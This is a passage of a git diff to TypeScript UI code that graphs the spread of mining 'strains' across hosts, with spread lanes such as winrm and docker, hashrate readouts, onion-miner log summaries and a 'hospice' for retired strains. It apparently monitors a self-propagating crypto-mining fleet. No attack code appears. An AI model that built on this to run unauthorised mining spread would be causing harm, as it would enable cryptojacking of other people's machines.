maxGen), - color: strain.startsWith('#') ? strain : `#${strain}`, + label: inHospice ? `${strainLabel(strain, joinLane, maxGen)} (museum)` : strainLabel(strain, joinLane, maxGen), + color: inHospice ? HOSPICE_MUSEUM_COLOR : strain.startsWith('#') ? strain : `#${strain}`, + inHospice, hostCount: hosts.length, onlineCount: online.length, spreadGeneration: maxGen, @@ -349,6 +363,9 @@ export function buildEpidemiologyGraph(agents: Agent[]): EpidemiologyGraph { }; edgeMap.set(key, edge); } + if (hospiceSet.has(source) || hospiceSet.has(target)) { + continue; + } if (isSuccessfulSpread(child)) edge.weight += 1; else if (isFailedSpread(child)) edge.failedWeight += 1; } @@ -381,6 +398,7 @@ export function buildEpidemiologyGraph(agents: Agent[]): EpidemiologyGraph { } export function nodeEmissiveIntensity(node: StrainNode): number { + if (node.inHospice) return 0.15; if (node.branchStatus === 'success' || node.miningContinuity === 'continuous') return 2.2; if (node.branchStatus === 'failed' || node.miningContinuity === 'interrupted') return 0.25; if (node.branchStatus === 'mixed') return 1.0; @@ -388,6 +406,7 @@ export function nodeEmissiveIntensity(node: StrainNode): number { } export function nodeWireOpacity(node: StrainNode): number { + if (node.inHospice) return 0.35; if (node.branchStatus === 'failed') return 0.2; if (node.miningContinuity === 'interrupted') return 0.35; return 0.85; diff --git a/server/web/src/help/pathTracerTimeline.test.ts b/server/web/src/help/pathTracerTimeline.test.ts index 0788159..2b7d1db 100644 --- a/server/web/src/help/pathTracerTimeline.test.ts +++ b/server/web/src/help/pathTracerTimeline.test.ts @@ -39,6 +39,18 @@ describe('pathTracerTimeline', () => { expect(pick?.id).toBe('win'); }); + it('skips hospice strains for fork-merge parent selection', () => { + const hospice = new Set(['#ab88e4']); + const pick = pickMergeCandidate( + [ + branch({ id: 'hospice-win', status: 'won', spread_lanes: ['winrm'] }), + branch({ id: 'ok-run', status: 'running', spread_lanes: ['docker'] }), + ], + hospice, + ); + expect(pick?.id).toBe('ok-run'); + }); + it('maps status to CSS class', () => { expect(branchStatusClass('won')).toBe('won'); expect(branchStatusClass('running')).toBe('running'); diff --git a/server/web/src/help/pathTracerTimeline.ts b/server/web/src/help/pathTracerTimeline.ts index c417de8..ca43a20 100644 --- a/server/web/src/help/pathTracerTimeline.ts +++ b/server/web/src/help/pathTracerTimeline.ts @@ -2,6 +2,8 @@ * Onion timeline fork/merge helpers for Path Tracer UI + Seer/AI context. */ +import { spreadStrainFromJoinLane } from './fleetTopologyEpidemiology'; + export type TimelineBranchStatus = | 'canonical' | 'running' @@ -89,8 +91,28 @@ export function ghostBranchesByHop(branches: PathTraceTimelineBranch[]): Map b.is_ghost); +function branchPrimaryLane(branch: PathTraceTimelineBranch): string { + return branch.spread_lanes?.[0]?.trim() ?? ''; +} + +/** Spread strain from join lane — mirrors Go SpreadStrainFromJoinLane for hospice guards. */ +export function spreadStrainFromPersonaLane(lane: string): string { + if (!lane) return ''; + return spreadStrainFromJoinLane(lane).toLowerCase(); +} + +export function pickMergeCandidate( + branches: PathTraceTimelineBranch[], + hospiceStrains?: Set, +): PathTraceTimelineBranch | null { + const hospice = hospiceStrains ?? new Set(); + const eligible = (b: PathTraceTimelineBranch) => { + const lane = branchPrimaryLane(b); + if (!lane || hospice.size === 0) return true; + const strain = spreadStrainFromPersonaLane(lane); + return strain === '' || !hospice.has(strain); + }; + const ghosts = branches.filter((b) => b.is_ghost && eligible(b)); const won = ghosts.find((b) => b.status === 'won' || b.mining_linked); if (won) return won; const running = ghosts.find((b) => b.status === 'running'); diff --git a/server/web/src/help/seerEvents.ts b/server/web/src/help/seerEvents.ts index a2243fb..d1e7098 100644 --- a/server/web/src/help/seerEvents.ts +++ b/server/web/src/help/seerEvents.ts @@ -11,6 +11,30 @@ export function isPathTraceTimelineEvent(event: SeerEventRecord): boolean { return event.event_type === 'pathtrace_timeline'; } +export function isOnionMinerLogEvent(event: SeerEventRecord): boolean { + return event.event_type === 'onion_miner_log'; +} + +export function onionMinerLogSummary(event: SeerEventRecord): string { + if (!isOnionMinerLogEvent(event)) return ''; + const p = event.payload ?? {}; + const method = typeof p.method === 'string' ? p.method : 'branch'; + const outcome = typeof p.outcome === 'string' ? p.outcome : 'update'; + const depth = typeof p.contingency_depth === 'number' ? p.contingency_depth : undefined; + const ghost = p.is_ghost === true ? ' · ghost' : ''; + const hr = typeof p.hashrate === 'number' && p.hashrate > 0 ? ` · ${Math.round(p.hashrate)} H/s` : ''; + if (outcome === 'exhausted') { + return `Contingency exhausted${depth != null ? ` · depth ${depth}` : ''} — awaiting court branch params`; + } + if (outcome === 'strain_retired') { + return 'Contingency hospice — strain retired after max exhaustion cycles'; + } + if (outcome === 'won' || outcome === 'ghost_won') { + return `Contingency ${method} linked${hr}${ghost}${depth != null ? ` · depth ${depth}` : ''}`; + } + return `Contingency ${method} ${outcome}${ghost}${depth != null ? ` · depth ${depth}` : ''}`; +} + export function pathTraceTimelineSummary(event: SeerEventRecord): string { if (!isPathTraceTimelineEvent(event)) return ''; const p = event.payload ?? {}; @@ -28,6 +52,8 @@ export function isSurgicalReplayEvent(event: SeerEventRecord): boolean { return event.event_type === 'surgical_replay'; } +export { isMiningSelfSurgeryEvent, miningSelfSurgerySummary } from './miningSelfSurgery'; + export function surgicalReplaySummary(event: SeerEventRecord): string { if (!isSurgicalReplayEvent(event)) { return '';